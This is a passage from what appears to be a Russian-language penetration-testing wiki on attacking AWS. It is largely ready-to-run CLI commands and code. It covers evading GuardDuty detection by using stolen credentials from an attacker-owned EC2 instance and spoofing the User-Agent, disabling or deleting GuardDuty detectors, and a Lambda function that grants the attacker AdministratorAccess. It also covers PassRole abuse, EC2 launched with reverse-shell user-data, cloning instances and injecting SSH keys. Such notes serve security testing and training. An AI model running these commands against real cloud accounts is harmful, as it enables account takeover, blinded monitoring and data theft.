Также раньше можно было менять поле email'а пользователя (0day): https://infosecwriteups.com/hacking-aws-cognito-misconfiguration-to-zero-click-account-takeover-36a209a0bd8a&lt;br /&gt;
&lt;br /&gt;
Важно! Указано, что могут быть отправки СМС-уведомлений, так что тестировать осторожно.&lt;br /&gt;
&lt;br /&gt;
P.S. Мб неверно название Endpoint'а. Надо проверять.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== AWSCognitoIdentityService.GetCredentialsForIdentity ====&lt;br /&gt;
&lt;br /&gt;
Позволяет получить AWS ключи для работы с AWS-консолью. По-умолчанию отключено.&lt;br /&gt;
&lt;br /&gt;
Требуется aws_identity_pool_id.&lt;br /&gt;
&lt;br /&gt;
В некоторых примерах оно также было указано как &amp;quot;com.amazonaws.cognito.identity.model.AWSCognitoIdentityService.GetCredentialsForIdentity&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Подробнее тут: https://blog.appsecco.com/exploiting-weak-configurations-in-amazon-cognito-in-aws-471ce761963&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== AWSCognitoIdentityService.GetOpenIdToken ====&lt;br /&gt;
&lt;br /&gt;
Позволяет получить OpenID токен, действительный на 10 минут.&lt;br /&gt;
&lt;br /&gt;
В примере требуется только &amp;quot;IdentityID&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== AWSCognitoIdentityService.GetOpenIdTokenForDeveloperIdentity ====&lt;br /&gt;
&lt;br /&gt;
Тоже позволяет получить OpenID токен, действительный на 10 минут. Но также создает новый &amp;quot;IdentityID&amp;quot; (если он не был указан).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== AWSCognitoIdentityService.GetCredentialsForIdentity ====&lt;br /&gt;
&lt;br /&gt;
Получить учетные данные пользователя по IdentityID: SecretKey, SessionToken, AccessKeyID.&lt;br /&gt;
&lt;br /&gt;
https://docs.aws.amazon.com/cognitoidentity/latest/APIReference/API_GetCredentialsForIdentity.html&lt;br /&gt;
&lt;br /&gt;
== GuardDuty ==&lt;br /&gt;
&lt;br /&gt;
Сервис для детектирования атак используя машинное обучение.&lt;br /&gt;
&lt;br /&gt;
Для детекта использует следующие сервисы:&lt;br /&gt;
&lt;br /&gt;
* CloudTrail&lt;br /&gt;
* VPC Flow Logs&lt;br /&gt;
* DNS Logs&lt;br /&gt;
* ...to be continued&lt;br /&gt;
&lt;br /&gt;
=== Обход защиты  ===&lt;br /&gt;
&lt;br /&gt;
Далее идут правила детекта и то, как их можно обойти.&lt;br /&gt;
&lt;br /&gt;
==== UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration ====&lt;br /&gt;
&lt;br /&gt;
Детектит, если AWS-API команды были запущены за пределами EC2 (используя токен этого EC2).&lt;br /&gt;
&lt;br /&gt;
Правило эффективно, если хакер хочет украть токен с EC2 и использовать его вне EC2 (например, если есть только SSRF).&lt;br /&gt;
&lt;br /&gt;
Обход простой: создать свой EC2-инстанс и делать API-запросы с полученными учетными данными жертвы.&lt;br /&gt;
Тогда правило не сработает, даже если учетные данные не принадлежат данной EC2 тк правило проверяет source ip и является ли он EC2.&lt;br /&gt;
&lt;br /&gt;
Может быть для этого выгодно держать проксирующий сервер EC2.&lt;br /&gt;
&lt;br /&gt;
==== UserAgent rules ====&lt;br /&gt;
&lt;br /&gt;
Суть в том, что GuardDuty будет добавлять Alert если AWS-CLI использует UserAgent например Kali. &lt;br /&gt;
Варианты:&lt;br /&gt;
&lt;br /&gt;
* Использовать утилиту pacu (уже есть смена User-Agent)&lt;br /&gt;
&lt;br /&gt;
* Отредактировать botocore(https://github.com/boto/botocore) по пути /usr/local/lib/python3.7/dist-packages/botocore/session.py: поменять platform.release() на строку юзерагента.&lt;br /&gt;
&lt;br /&gt;
=== Роли - Управление ===&lt;br /&gt;
&lt;br /&gt;
Список ролей: https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazonguardduty.html&lt;br /&gt;
&lt;br /&gt;
==== guardduty:UpdateDetector ====&lt;br /&gt;
&lt;br /&gt;
Позволяет выключить GuardDuty (ну или редатировать правила):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
aws guardduty update-detector --detector-id &amp;lt;id of detector&amp;gt; --no-enable&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
==== guardduty:DeleteDetector ====&lt;br /&gt;
&lt;br /&gt;
Удалить правило детектирования:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
aws guardduty delete-detector --detector-id &amp;lt;id of detector&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== STS (Security Token Service) ==&lt;br /&gt;
&lt;br /&gt;
Сервис, позволяющий запросить временные учетные данные с ограниченными  примилегиями для IAM-пользователей &lt;br /&gt;
&lt;br /&gt;
== KMS (Key Management Service) ==&lt;br /&gt;
&lt;br /&gt;
Сервис для создания криптографических ключей, управления ими и использования их в других сервисах.&lt;br /&gt;
&lt;br /&gt;
Администраторы амазона не смогут получить к ним доступ.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ключи со временем обновляются:&lt;br /&gt;
&lt;br /&gt;
* Customers keys - раз в 365 дней&lt;br /&gt;
&lt;br /&gt;
* AWS keys - раз в 3 года.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Старые ключи также можно будет использовать для расшифровки.&lt;br /&gt;
&lt;br /&gt;
== CloudHSM (Hardware Security Module) ==&lt;br /&gt;
&lt;br /&gt;
Замена KMS для богатых и тех, кто хочит побольше безопасности. Хранилище ключей, прикрепленное к аппаратному решению. &lt;br /&gt;
&lt;br /&gt;
Пишут, что устройство будет закреплено только за вами.&lt;br /&gt;
&lt;br /&gt;
Также можно получить доступ к CloudHSM-Instance по SSH.&lt;br /&gt;
&lt;br /&gt;
== Athena ==&lt;br /&gt;
&lt;br /&gt;
Интерактивный бессерверный сервис, позволяющий анализировать данные хранилища S3 стандартными средствами SQL.&lt;br /&gt;
&lt;br /&gt;
Умеет работать с шифрованными S3 и сохранять шифрованный вывод.&lt;br /&gt;
&lt;br /&gt;
== EBS (Elastic Block Store) ==&lt;br /&gt;
&lt;br /&gt;
Сервис блочного хранилища (просто жесткий диск, который можно примонтировать).&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление сервисом ===&lt;br /&gt;
 &lt;br /&gt;
==== ec2:CreateVolume + ec2:AttachVolume ====&lt;br /&gt;
&lt;br /&gt;
Возможность подключить EBS-Volume/Snapshot к EC2-виртуалке.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Создание Volume из snapshot'а (если требуется подключить snapshot)&lt;br /&gt;
aws ec2 create-volume –snapshot-id snapshot_id --availability-zone zone&lt;br /&gt;
# Подключение Volume к виртуалке EC2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Далее идем на виртуалку и вводим команды:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Поиск Volume&lt;br /&gt;
lsblk&lt;br /&gt;
# Проверка есть ли на нем данные&lt;br /&gt;
sudo file -s /dev/xvdf&lt;br /&gt;
# форматировать образ под ext4 (если неподходящая файловая система)&lt;br /&gt;
sudo mkfs -t ext4 /dev/xvdf&lt;br /&gt;
# Создаем директорию куда примонтируем позже&lt;br /&gt;
sudo mkdir /tmp/newvolume&lt;br /&gt;
# Монтируем&lt;br /&gt;
sudo mount /dev/xvdf /tmp/newvolume/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Диск будет доступен на /tmp/newvolume.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Lambda ==&lt;br /&gt;
&lt;br /&gt;
Сервис для запуска своего кода в облаке.&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
==== lambda:UpdateFunctionCode ====&lt;br /&gt;
&lt;br /&gt;
Позволяет поменять запущенный код, тем самым получив контроль над ролями, прикрепленными к этому коду:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws lambda update-function-code --function-name target_function --zip-file fileb://my/lambda/code/zipped.zip&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== lambda:CreateFunction + lambda:InvokeFunction + iam:PassRole ====&lt;br /&gt;
&lt;br /&gt;
Позволяет создать функцию и прикрепить к ней произвольную роль, после чего запустить.&lt;br /&gt;
&lt;br /&gt;
Код функции:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
import boto3&lt;br /&gt;
def lambda_handler(event, context):&lt;br /&gt;
    client = boto3.client('iam')&lt;br /&gt;
    response = client.attach_user_policy(&lt;br /&gt;
    UserName='my_username',&lt;br /&gt;
    PolicyArn=&amp;quot;arn:aws:iam::aws:policy/AdministratorAccess&amp;quot;&lt;br /&gt;
    )&lt;br /&gt;
    return response&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Команды для запуска:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Создание функции&lt;br /&gt;
aws lambda create-function --function-name my_function --runtime python3.6 --role arn_of_lambda_role --handler lambda_function.lambda_handler --code file://my/python/code.py&lt;br /&gt;
# Запуск&lt;br /&gt;
aws lambda invoke --function-name my_function output.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== lambda:GetFunction ====&lt;br /&gt;
&lt;br /&gt;
Также может понадобиться lambda:ListFunctions чтобы не перебирать названия функций.&lt;br /&gt;
&lt;br /&gt;
Позволяет прочитать исходный код функции (в котором например может быть секрет сохранен):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Получить список функций&lt;br /&gt;
aws lambda list-functions --profile uploadcreds&lt;br /&gt;
# Получить информацию о Lambda-функции&lt;br /&gt;
aws lambda get-function --function-name &amp;quot;LAMBDA-NAME-HERE-FROM-PREVIOUS-QUERY&amp;quot; --query 'Code.Location' --profile uploadcreds&lt;br /&gt;
# Скачать исходный код по ссылке из предыдущего ответа&lt;br /&gt;
wget -O lambda-function.zip url-from-previous-query --profile uploadcreds&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Glue ==&lt;br /&gt;
&lt;br /&gt;
Бессерверная служба интеграции данных, упрощающая поиск, подготовку и объединение данных для анализа, машинного обучения и разработки приложений.&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
==== glue:UpdateDevEndpoint ====&lt;br /&gt;
&lt;br /&gt;
Позволяет обновить параметры Glue Development Endpoint, тем самым получив контроль над ролями, прикрепленными к этому Glue Development Endpoint:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# TODO: это не обновление параметров, надо обновить команду&lt;br /&gt;
aws glue --endpoint-name target_endpoint --public-key file://path/to/my/public/ssh/key.pub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== glue:CreateDevEndpoint + iam:PassRole ====&lt;br /&gt;
&lt;br /&gt;
Позволяет получить доступ к ролям, которые прикреплены к любому сервису Glue:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws glue create-dev-endpoint --endpoint-name my_dev_endpoint --role-arn arn_of_glue_service_role --public-key file://path/to/my/public/ssh/key.pub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== S3 ==&lt;br /&gt;
&lt;br /&gt;
Файловое хранилище, доступное по http(s).&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{bucket_name}.s3.amazonaws.com&lt;br /&gt;
https://s3.amazonaws.com/{bucket_name}/&lt;br /&gt;
&lt;br /&gt;
# US Standard&lt;br /&gt;
http://s3.amazonaws.com&lt;br /&gt;
# Ireland&lt;br /&gt;
http://s3-eu-west-1.amazonaws.com&lt;br /&gt;
# Northern California&lt;br /&gt;
http://s3-us-west-1.amazonaws.com&lt;br /&gt;
# Singapore&lt;br /&gt;
http://s3-ap-southeast-1.amazonaws.com&lt;br /&gt;
# Tokyo&lt;br /&gt;
http://s3-ap-northeast-1.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Делать запросы можно:&lt;br /&gt;
&lt;br /&gt;
* В браузере - http(s)&lt;br /&gt;
&lt;br /&gt;
* Используя awscli:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws s3 ls  s3://flaws.cloud/ [--no-sign-request] [--profile &amp;lt;PROFILE_NAME&amp;gt;] [ --recursive] [--region us-west-2]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
В S3 может использоваться шифрование:&lt;br /&gt;
&lt;br /&gt;
* SSE-KMS - Server-Side с ключами KMS&lt;br /&gt;
&lt;br /&gt;
* SSE-C - Server-Side с ключами заказчика&lt;br /&gt;
&lt;br /&gt;
* CSE-KMS - Client-Side с ключами KMS&lt;br /&gt;
&lt;br /&gt;
* CSE-C - Client-Side с ключами заказчика&lt;br /&gt;
&lt;br /&gt;
=== Сбор информации ===&lt;br /&gt;
&lt;br /&gt;
==== Определение региона ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
$ dig flaws.cloud&lt;br /&gt;
;; ANSWER SECTION:&lt;br /&gt;
flaws.cloud.    5    IN    A    52.218.192.11&lt;br /&gt;
&lt;br /&gt;
$ nslookup 52.218.192.11&lt;br /&gt;
Non-authoritative answer:&lt;br /&gt;
11.192.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
# Итоговый URL будет:&lt;br /&gt;
flaws.cloud.s3-website-us-west-2.amazonaws.com&lt;br /&gt;
flaws.cloud.s3-us-west-2.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Если будет некорректный регион - редиректнет на корректный.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Список файлов ====&lt;br /&gt;
&lt;br /&gt;
На S3-Bukket может быть включен листинг директорий, для этого достаточно перейти в браузере на хранилище и посмотреть возвращенный XML.&lt;br /&gt;
&lt;br /&gt;
Список файлов может быть включен отдельно на определенные директории, поэтому может потребоваться брут директорий используя, например, wfuzz (подстрока AccessDenied).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== s3:ListBucket ====&lt;br /&gt;
&lt;br /&gt;
Посмотреть список файлов в S3-хранилище:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws s3 ls  s3://flaws.cloud/ [--no-sign-request] [--profile &amp;lt;PROFILE_NAME&amp;gt;] [ --recursive] [--region us-west-2]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== s3:ListAllMyBuckets ====&lt;br /&gt;
&lt;br /&gt;
Посмотреть список всех S3-хранилищ, доступных мне:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws s3api list-buckets&lt;br /&gt;
aws s3 ls&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== CloudFront ==&lt;br /&gt;
&lt;br /&gt;
Сервис сети доставки контента (CDN).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.cloudfront.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== EC2 (Elastic Compute Cloud) ==&lt;br /&gt;
&lt;br /&gt;
EC2 (Amazon Elastic Compute Cloud) == VPS&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Состоит из:&lt;br /&gt;
&lt;br /&gt;
* Instance - название виртуальной машины&lt;br /&gt;
&lt;br /&gt;
* AMI (Amazon Machine Image) - образ виртуальной машины&lt;br /&gt;
&lt;br /&gt;
* SSM Agent - программное обеспечение Amazon, которое запущено на всеx EC2-инстансах, серверах и тд.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
ec2-{ip-seperated}.compute-1.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SSM Agent ===&lt;br /&gt;
&lt;br /&gt;
Как уже выше написано, SSM Agent - программное обеспечение Amazon, которое запущено на всеx EC2-инстансах, серверах и тд.&lt;br /&gt;
&lt;br /&gt;
Его тоже можно выбрать целью атаки&lt;br /&gt;
&lt;br /&gt;
==== MITM ====&lt;br /&gt;
&lt;br /&gt;
Есть возможность вклиниваться в общение от SSM-Агента локально.&lt;br /&gt;
&lt;br /&gt;
PoC: https://github.com/Frichetten/ssm-agent-research/tree/main/ssm-session-interception&lt;br /&gt;
&lt;br /&gt;
Полная статья: https://frichetten.com/blog/ssm-agent-tomfoolery/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== ec2:RunInstance + iam:PassRole ====&lt;br /&gt;
&lt;br /&gt;
Позволяет прикрепить существующую роль к скомпрометированной EC2-машине.&lt;br /&gt;
&lt;br /&gt;
1. Запуск машины c новой прикрепленной ролью&lt;br /&gt;
&lt;br /&gt;
2. Подключение к ней&lt;br /&gt;
&lt;br /&gt;
3. Работа с прикрепленной ролью&lt;br /&gt;
&lt;br /&gt;
Создание EC2 с известным SSH-ключем:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ec2 run-instances --image-id ami-a4dc46db --instance-type t2.micro --iam-instance-profile Name=iam-full-access-ip --key-name my_ssh_key --security-group-ids sg-123456&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Второй вариант - скрипт для запуска:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ec2 run-instances --image-id ami-a4dc46db --instance-type t2.micro --iam-instance-profile Name=iam-full-access-ip --user-data file://script/with/reverse/shell.sh&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Важно! Может спалиться с GuardDuty когда учетные данные пользователя будут использованы на стороннем инстансе EC2.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение до админа ===&lt;br /&gt;
&lt;br /&gt;
==== ec2:AssociateIamInstanceProfile ====&lt;br /&gt;
&lt;br /&gt;
Позволяет менять IAM политики/роли/пользователей&lt;br /&gt;
&lt;br /&gt;
==== ec2:CreateInstanceProfile/ec2:AddRoleToInstanceProfile + iam:PassRole ====&lt;br /&gt;
&lt;br /&gt;
Позволяет создать новый привилегированный профиль для инстанса и прикрепить его к скомпрометированной EC2-машине.&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== ec2:CreateVolume + ec2:AttachVolume ====&lt;br /&gt;
&lt;br /&gt;
См. EBS.&lt;br /&gt;
&lt;br /&gt;
==== ec2:DescribeSnapshots ====&lt;br /&gt;
&lt;br /&gt;
Позволяет посмотреть информацию о SnapShot'ах, которые позже мб потребуется прочитать:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws  ec2 describe-snapshots --profile flawscloud --owner-id 975426262029 --region us-west-2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ec2:CreateVolume ====&lt;br /&gt;
&lt;br /&gt;
Прзврояет примаунтить SnapShot, чтобы потом его изучить:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ec2 create-volume --profile YOUR_ACCOUNT --availability-zone us-west-2a --region us-west-2  --snapshot-id  snap-0b49342abd1bdcb89&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ec2:* (Копирование EC2) ====&lt;br /&gt;
&lt;br /&gt;
Позволяет скопировать EC2 используя AMI-images:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Создаем новый AMI из Instance-ID&lt;br /&gt;
aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name &amp;quot;AWS Audit&amp;quot; --description &amp;quot;Export AMI&amp;quot; --region eu-west-1  &lt;br /&gt;
&lt;br /&gt;
# Добавляем наш ключ в систему&lt;br /&gt;
aws ec2 import-key-pair --key-name &amp;quot;AWS Audit&amp;quot; --public-key-material file://~/.ssh/id_rsa.pub --region eu-west-1  &lt;br /&gt;
&lt;br /&gt;
# Создаем EC2-Instance используя созданный AMI (параметры security group и подсеть оставили те же) &lt;br /&gt;
aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids &amp;quot;sg-6d0d7f01&amp;quot; --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name &amp;quot;AWS Audit&amp;quot; --query &amp;quot;Instances[0].InstanceId&amp;quot; --region eu-west-1&lt;br /&gt;
&lt;br /&gt;
# Проверяем запустился ли инстанс&lt;br /&gt;
aws ec2 describe-instances --instance-ids i-0546910a0c18725a1 &lt;br /&gt;
&lt;br /&gt;
# Не обязательно - редактируем группу инстанса&lt;br /&gt;
aws ec2 modify-instance-attribute --instance-id &amp;quot;i-0546910a0c18725a1&amp;quot; --groups &amp;quot;sg-6d0d7f01&amp;quot;  --region eu-west-1&lt;br /&gt;
&lt;br /&gt;
# В конце работы - останавливаем и удаляем инстанс&lt;br /&gt;
aws ec2 stop-instances --instance-id &amp;quot;i-0546910a0c18725a1&amp;quot; --region eu-west-1 &lt;br /&gt;
aws ec2 terminate-instances --instance-id &amp;quot;i-0546910a0c18725a1&amp;quot; --region eu-west-1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ec2-instance-connect:SendSSHPublicKey ====&lt;br /&gt;
&lt;br /&gt;
Добавить SSH-ключ  к EC2-инстансу. Ключ будет существовать 60 секунд.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Получаем информацию об инстансе, который будем атаковать.&lt;br /&gt;
aws ec2 describe-instances --profile uploadcreds --region eu-west-1 | jq &amp;quot;.[][].Instances | .[] | {InstanceId, KeyName, State}&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Добавляем ключ к EC2-инстансу.&lt;br /&gt;
aws ec2-instance-connect send-ssh-public-key --region us-east-1 --instance-id INSTANCE --availability-zone us-east-1d --instance-os-user ubuntu --ssh-public-key file://shortkey.pub --profile uploadcreds&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ec2-instance-connect:SendSerialConsoleSSHPublicKey ====&lt;br /&gt;
&lt;br /&gt;
Добавить SSH-ключ  к EC2-инстансу. Ключ будет существовать 60 секунд.&lt;br /&gt;
&lt;br /&gt;
В отличие от предыдущего пункта, этот ключ можно использовать только при подключении EC2 Serial Console.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Получаем информацию об инстансе, который будем атаковать.&lt;br /&gt;
aws ec2 describe-instances --profile uploadcreds --region eu-west-1 | jq &amp;quot;.[][].Instances | .[] | {InstanceId, KeyName, State}&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Добавляем ключ к EC2-инстансу.&lt;br /&gt;
aws ec2-instance-connect send-serial-console-ssh-public-key --instance-id i-001234a4bf70dec41EXAMPLE --serial-port 0 --ssh-public-key file://my_key.pub --region us-east-1&lt;br /&gt;
&lt;br /&gt;
# Подключаемся (кроме GovCloud US региона)&lt;br /&gt;
ssh -i my_key i-001234a4bf70dec41EXAMPLE.port0@serial-console.ec2-instance-connect.us-east-1.aws&lt;br /&gt;
# Подключаемся (только для GovCloud US региона)&lt;br /&gt;
ssh -i my_key i-001234a4bf70dec41EXAMPLE.port0@serial-console.ec2-instance-connect.us-gov-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
# В некоторых случаях нужно подключиться к EC2 и перезагрузить сервис getty (лучше пробовать только, когда не смогли подключиться)&lt;br /&gt;
sudo systemctl restart serial-getty@ttyS0&lt;br /&gt;
# Если не сработало - мб требуется ребутать сервер.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Также можно подключиться, используя браузер. Подробнее тут: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/connect-to-serial-console.html&lt;br /&gt;
&lt;br /&gt;
==== ssm:SendCommand ====&lt;br /&gt;
&lt;br /&gt;
Позволяет запускать команды в EC2-Instances. Если нет дополнительных прав, то потребуется:&lt;br /&gt;
&lt;br /&gt;
